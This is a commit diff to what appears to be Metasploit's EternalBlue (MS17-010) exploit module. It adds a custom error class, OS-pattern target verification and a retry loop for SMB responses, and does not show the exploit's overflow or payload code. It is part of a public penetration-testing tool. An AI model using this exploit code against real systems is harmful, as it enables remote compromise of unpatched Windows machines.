@@ -89,6 +89,9 @@ def initialize(info = {})
89
89
] )
90
90
end
91
91
92
+ class EternalBlueError < StandardError
93
+ end
94
+
92
95
def check
93
96
# todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
94
97
end
@@ -121,6 +124,8 @@ def exploit
121
124
end
122
125
end
123
126
127
+ rescue EternalBlueError => e
128
+ print_bad ( "#{ e . message } " )
124
129
rescue ::RubySMB ::Error ::UnexpectedStatusCode ,
125
130
::Errno ::ECONNRESET ,
126
131
::Rex ::HostUnreachable ,
@@ -149,7 +154,7 @@ def smb_eternalblue(process_name, grooms)
149
154
print_good ( "Connection established for exploitation." )
150
155
151
156
if not verify_target ( os )
152
- return
157
+ raise EternalBlueError , "Unable to continue with improper OS Target."
153
158
end
154
159
155
160
#if not verify_arch
@@ -203,24 +208,33 @@ def smb_eternalblue(process_name, grooms)
203
208
# tree disconnect
204
209
# logoff and x
205
210
# note: these aren't necessary, just close the sockets
206
-
211
+ return true
207
212
ensure
208
213
abort_sockets
209
214
end
210
215
end
211
216
212
217
def verify_target ( os )
218
+ os = os . gsub ( "\x00 " , '' ) # strip unicode bs
219
+ os << "\x00 " # but original has a null
213
220
ret = true
214
221
215
222
if datastore [ 'VerifyTarget' ]
216
- if false
217
- los = os . downcase
218
- #if los.include 'server 2008 r2' or os =~ /windows 7/i
223
+ ret = false
224
+ # search if its in patterns
225
+ target [ 'os_patterns' ] . each do |pattern |
226
+ if os . downcase . include? pattern . downcase
227
+ ret = true
228
+ break
229
+ end
230
+ end
231
+
232
+ if ret
233
+ print_status ( "Target OS selected valid for OS indicated by SMB reply" )
234
+ else
219
235
print_warning ( "Target OS selected not valid for OS indicated by SMB reply" )
220
236
print_warning ( "Disable VerifyTarget option to proceed manually..." )
221
- ret = false
222
237
end
223
- print_status ( "Target OS selected valid for OS indicated by SMB reply" )
224
238
end
225
239
226
240
# cool buffer print no matter what, will be helpful when people post debug issues
@@ -230,9 +244,6 @@ def verify_target(os)
230
244
end
231
245
232
246
def print_core_buffer ( os )
233
- os = os . gsub ( "\x00 " , '' ) # don't do the unicode
234
- os << "\x00 " # but original has a null
235
-
236
247
print_status ( "CORE raw buffer dump (#{ os . length . to_s } bytes)" )
237
248
238
249
count = 0
@@ -344,7 +355,14 @@ def smb1_free_hole(start)
344
355
end
345
356
346
357
def smb1_get_response ( sock )
347
- raw = sock . get_once
358
+ raw = nil
359
+
360
+ # dirty hack since it doesn't always like to reply the first time...
361
+ 16 . times do
362
+ raw = sock . get_once
363
+ break unless raw . nil? or raw . empty?
364
+ end
365
+
348
366
response = RubySMB ::SMB1 ::SMBHeader . read ( raw [ 4 ..-1 ] )
349
367
code = response . nt_status
350
368
return code , raw , response
0 commit comments